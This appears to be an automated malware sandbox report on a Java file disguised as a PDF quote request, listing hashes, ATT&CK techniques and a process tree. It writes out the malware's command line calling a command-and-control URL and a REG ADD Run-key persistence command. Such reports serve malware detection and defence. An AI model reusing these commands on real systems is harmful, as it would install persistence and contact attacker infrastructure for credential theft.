65b9dccf61b9749c5380bf61cc360b3d7e8ad8c50b843e4104c5040a10a79790

General

Target

EES RFQ 56-34___PDF.jar
Size

11KB
MD5

8899cc56f4e52f5497fb7ec8c960dbb9
SHA1

f5fc681e85c69c70b7ec6d5d223f5d8d5b4bbe04
SHA256

65b9dccf61b9749c5380bf61cc360b3d7e8ad8c50b843e4104c5040a10a79790
SHA512

1aa43d6fe686e6180806d53de82081d25e4902b13cdaea227799fea35f5bffab101bc254a30bad5134d6668381ac2662520c7f138ad965a788bd6f23e9e34b91

Score

8^/10

persistence spyware

Malware Config

Signatures

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 wtfismyip.com
16 wtfismyip.com

flow	ioc
14	wtfismyip.com
16	wtfismyip.com

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

java.exenode.execmd.exe

description	pid	process	target process
PID 652 wrote to memory of 1240	652	java.exe	node.exe
PID 652 wrote to memory of 1240	652	java.exe	node.exe
PID 1240 wrote to memory of 3732	1240	node.exe	cmd.exe
PID 1240 wrote to memory of 3732	1240	node.exe	cmd.exe
PID 3732 wrote to memory of 2724	3732	cmd.exe	reg.exe
PID 3732 wrote to memory of 2724	3732	cmd.exe	reg.exe
PID 1240 wrote to memory of 3644	1240	node.exe	node.exe
PID 1240 wrote to memory of 3644	1240	node.exe	node.exe

Executes dropped EXE 2 IoCs

Processes:

node.exenode.exe

pid process

1240 node.exe
3644 node.exe
Loads dropped DLL 4 IoCs

Processes:

node.exe

pid process

3644 node.exe
3644 node.exe
3644 node.exe
3644 node.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

node.exe

pid process

3644 node.exe
3644 node.exe

pid	process
1240	node.exe
3644	node.exe

pid	process
3644	node.exe
3644	node.exe
3644	node.exe
3644	node.exe

pid	process
3644	node.exe
3644	node.exe

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-9203296d = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-9203296d.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\EES RFQ 56-34___PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:652

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:2604@qhub-subscription.store.qua.one --register-startup --central-base-url https://dde.bounceme.net
2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:1240

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-9203296d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-9203296d.cmd\"""
3⤵
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-9203296d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-9203296d.cmd\""
4⤵
- Adds Run entry to start application
PID:2724

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:2604@qhub-subscription.store.qua.one --register-startup --central-base-url https://dde.bounceme.net
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
PID:3644

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

Download Submit
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

Download Submit
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

Download Submit
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

Download Submit
\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

Download Submit
\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

Download Submit
\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

Download Submit
\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

Download Submit
memory/1240-107-0x0000000000000000-mapping.dmp

Download
memory/1240-110-0x000003B259F00000-0x000003B259F01000-memory.dmp

Filesize
4KB

Download
memory/2724-113-0x0000000000000000-mapping.dmp

Download
memory/3644-114-0x0000000000000000-mapping.dmp

Download
memory/3644-116-0x000002BC2BE40000-0x000002BC2BE41000-memory.dmp

Filesize
4KB

Download
memory/3732-112-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads